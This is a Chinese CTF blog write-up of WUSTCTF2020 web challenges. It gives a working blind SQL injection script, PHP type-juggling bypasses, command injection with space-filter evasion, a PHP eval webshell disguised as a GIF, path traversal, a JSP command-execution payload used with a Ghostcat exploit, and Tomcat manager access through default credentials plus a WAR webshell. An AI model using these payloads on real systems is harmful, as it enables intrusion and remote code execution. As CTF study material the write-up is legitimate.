[WUSTCTF2020]Web Writeup

颜值成绩查询

二分法盲注:

这里payload用1&1也可以的,但是要先转个码,是我傻5555我还疑惑了好久

import requests

url = 'http://91e9396c-bf4b-4222-bded-b106b681143e.node3.buuoj.cn/index.php?stunum='

flag = ""

payload1 = "1^(ascii(substr((select(database())),{},1))>{})^1"
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(" \
"table_schema='ctf')),{},1))>{})^1 "
payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(" \
"table_name='flag')),{},1))>{})^1 "
payload4 = "1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1"

for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = payload4.format(i, mid)

new_url = url + payload
r = requests.get(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

朴实无华

这个网站有点乱码…

刚开始看的时候我真的毫无头绪 看wp说要看robots.txt ??我怎么知道??可能是因为title叫做”人间极乐bot”吧 okkkk

查看robots.txt,找到一个/fAke_f1agggg.php文件,访问后得到假flag,但由于index.php中写到Cannot modify header information,于是在header中找到了fl4g.php

代码如下:

//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

一旦老师梗hhhhh

绕过intval

首先第一层

if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}

在php文档中查询intval,它用于获取变量的整数值。并且空的 array 返回 0,非空的 array 返回 1。

从代码来看,我们需要满足intval($num) < 2020 && intval($num + 1) > 2021

从范例可以看出,intval在处理科学记数法的字符串时,返回e前面的数字,比如:

<?php
echo intval("1e10"); //返回1
echo intval("2e10"); //返回2
?>

但如果

<?php
echo intval("1e10"+1); //返回10000000001
?>

因此可以构造num=1e10绕过这层的intval.

md5弱类型

第二层代码:

if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

很明显,get一个字符串叫md5,使它md5编码与原字符串弱相等。

和上例类似,若两个字符串比较的时候都是0e开头,且后面都是数字。直接会当科学计数法表示的数型来比较。

可以写成脚本,构造”0e+依次增长的数字“这样的字符串,分别计算他们的md5,直到找到一个md5符合”0e开头+后面全数字“。

import hashlib
for i in range(0,1000000000):
a = ‘0e‘+str(i)
b = hashlib.md5(str(a).encode("utf-8")).hexdigest()
if b[:2]==‘0e‘ and b[2:].isdigit():
print(a)
break

或者直接百度8,这种网上比较多。

命令执行空格绕过

第三层代码:

if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}

意思为传递的参数中不能含有空格,并且如果参数中有cat的话就转换成wctf2020.

先ls一下,可以看到存flag的文件

然后打开它。这里的cat可以用ca\t绕过,空格可以用$IFS$9${IFS}%09<等绕过。构造好后得到flag。

CV Maker

这题一上来就是个模版,看起来内容还挺多挺厉害的,其实还蛮简单。

注册个号登陆后就来到更换头像界面。

随手点上传后,出现这样一句warning.

Warning: exif_imagetype(): Filename cannot be empty in /var/www/html/profile.php on line 76

exif_imagetype()是用来判断一个图像的类型的,它读取图像的第一个字节并检查其签名。

因此上传个图片马就好了.

GIF89a
<?
@eval($_POST[shell]);
?>

或者抓包修改Content-Type为图片也可以。

上传成功后还在图片处给出了地址,连接shell就能在根目录下找到flag.

easyweb

55555感谢星星给我演示这道题!让我们特别鸣谢他!

这题一上来就是文件上传,让我们上传个php上去。

给了下载链接,因此可能存在任意下载漏洞,但由于不知道flag的位置,所以没办法读取。

但在下载链接中出现了download?file=,因此可以猜测可以进行目录穿越。随意改个file名称,发现报错。并且在报错的目录中还发现了tomcat字样,因此可以猜到是用了tomcat server,进而想到今年爆出的tomcat漏洞。

根据tomcat server的结构,访问web.xml,打开后包含如下代码:

<welcome-file-list>
<welcome-file>/WEB-INF/views/index.jsp</welcome-file>
</welcome-file-list>

主页是/views/index.jsp,上传后的文件保存在uploads中,但我们无法直接访问到uploads,因此还是不能直接上传代码getshell.

因此有七层目录,试试目录穿越download?file=../../../../../../../etc/passwd能够下载passwd文件

看一些wp说,比赛的时候可以在下载passwd文件之后找到用户名字tomajp,然后找该用户执行的命令 /home/tomajp/.bash_history,从而找到flag所在的位置。

但这是非预期解,预期解要配合幽灵猫漏洞解。

<%
java.io.InputStream in = Runtime.getRuntime().exec("ls / -al").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

一开始这个poc有点问题,没有创建回显所以无法成功,然后星星改了之后就好了。

Tomcat文件包含漏洞

Tomcat是一个运行JAVA的网络服务器,被普遍使用在轻量级Web应用服务的构架中。

Tomcat AJP协议由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步实现远程代码的执行。

这篇文章对Tomcat解释的非常详细https://segmentfault.com/a/1190000013122831

解题

这里记录一下具体的操作过程,因为我之前不太会做这类的题。

由于buu的靶机没网,要通过内网靶机来访问8009端口,所以用别的号开一个吧唧连接。

此次解题过程用到针对Tomcat文件包含漏洞的exp

先用scp命令把exp传到吧唧上去。运行一下

再上传111.jsp到题目里,列出目录下的文件。

python3 ajpShooter.py http://1037-2be0082a-ce1a-44f0-87f2-19f8256a3cfa 8009 /WEB-INF/uploads/85463566-b208-4f9a-bf2c-c82b90772106.jsp eval

找到flag了!更改poc再传上去。

Train Yourself To Be Godly

这道题又是关于Apache Tomcat的。

所以我又没做出来,是看着网上师傅们的wp做的QAQ,但不得不说这道题让我学会了好几个知识点。👍

Tomcat目录穿越

这道题是用Nginx做反向代理,但后端用的中间件是Tomcat,因此这两种中间件识别的路径不同,就会造成解析不一致的情况。

DEF CON 26 - Orange Tsaiorange在defcon上的一个议题,这是他的ppt

reverse proxy architecture

  • Share resourse
  • Load balance
  • Cache
  • Security

由上图可知,当解析http://example.com/foo;name=orange/bar时,Apache,Nginx,IIS等会解析成/foo;name=orange/bar,而Tomcat、Jetty等中间件会使用cleanpath函数对path处理,这里有一篇讲解了用jetty做中间件的Spring MVC 目录穿越漏洞cleanpath函数允许空元素造成的目录穿越问题。

随手打一个目录,可知我们现在是在/examples目录下,所以只需要穿越一层。

因此,在本题中,Nginx会认为/..;/是一个合法的目录请求,并将它发送给后端的额Tomcat解析,但Tomcat做解析的时候会将;处理掉,因此处理掉后就变成了/../。因此可以利用这个方法绕过Nginx的反向代理,从而请求到我们希望请求的非法路径。所以在本题中可以通过构造/..;/manager/html进入Tomcat后台管理界面。

在后台管理界面上可以部署war包,如果能上传war包上去并执行jsp代码,就能够拿到shell执行命令了。而war包是个什么东西我另外写了一篇文章来记录。

Tomcat管理后台

这里需要输入用户名和密码。

一般来说生产环境管理界面 /manager/html 都是要删除的,如果可以访问一般都是默认口令或者弱口令。Tomcat 有两个默认的后台用户,用户名分别是 tomcat 和 role1,用 tomcat 作为用户名爆破,可以得到弱口令 tomcat / tomcat。(默认密码 tomcat / manager)

借用别的师傅说的话。

成功登陆进管理后台。

上传WAR

这一步就是上传war包了。我找了个师傅的jsp木马

将jsp代码打包成war

jar -cvf shell.war 111.jsp

404了,但从报错可以看出目录拼接后是examples/manager/html/upload,因此再加一个/..;/

403 Access Denied,说明我们🈚️权限上传。

并没有cookie,但这是因为我们通过穿越目录访问到的/manager/html,所以我们访问的/..;/manager/html无法获得之前的Cookie,所以会权限不足。

所以现在我们应该修改一开始访问到的/manager/html的cookie路径,使它能够让/..;/manager/html界面也成功使用。如果能够设置cookie的路径,我们就可以把这个cookie加到上传的页面中,这样就会绕过403了。但怎么样修改cookie的路径呢?

修改cookie

cookie就是一种浏览器管理状态的一个文件,它有name,也有value,还有Domain、path等等。

服务器通过response响应头的set-Cookie字段来让客户端在本地Cookie中记录信息,例如

[HTTP/1.1 200 OK]
Server:[bfe/1.0.8.18]
Etag:["58860415-98b"]
Cache-Control:[private, no-cache, no-store, proxy-revalidate, no-transform]
Connection:[Keep-Alive]
Set-Cookie:[BDORZ=27315; max-age=86400; domain=.baidu.com; path=/]
Pragma:[no-cache]
Last-Modified:[Mon, 23 Jan 2017 13:24:37 GMT]
Content-Length:[2443]
Date:[Mon, 09 Apr 2018 09:59:06 GMT]
Content-Type:[text/html]

但cookie在客户端也是可控的,如果我们使用浏览器直接访问服务器,当服务器帮我们setcookie后,我们可以通过浏览器或者插件进行更改,例如在火狐上:

cookie的各个参数我们都可以更改。

但如果我们使用burpsuite做代理,那么流程就变为:我们将请求发给burp,burp再发送给服务器,服务器把cookie信息响应给burp,burp再传给我们。所以我们可以通过修改burp返回的响应包来修改cookie的值。

顺便记录一下抓response包的方法

对于本题,我们希望修改一开始访问的/manager/html的cookie path成/..;/manager/html,使之后在上传时也能使用这个cookie,从而拥有上传war包的权限。

再将这个cookie复制到上传文件的地方

传上去了传上去了!

getshell

下一步就是访问传上去的文件,可以直接echo $FLAG,用find的话比较容易卡。

然后就能得到flag了!

总的来说这道题的知识点还蛮多的,出题人好厉害!

Author: Neorah
Link: https://neorah.me/ctf/WUSTCTF2020/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.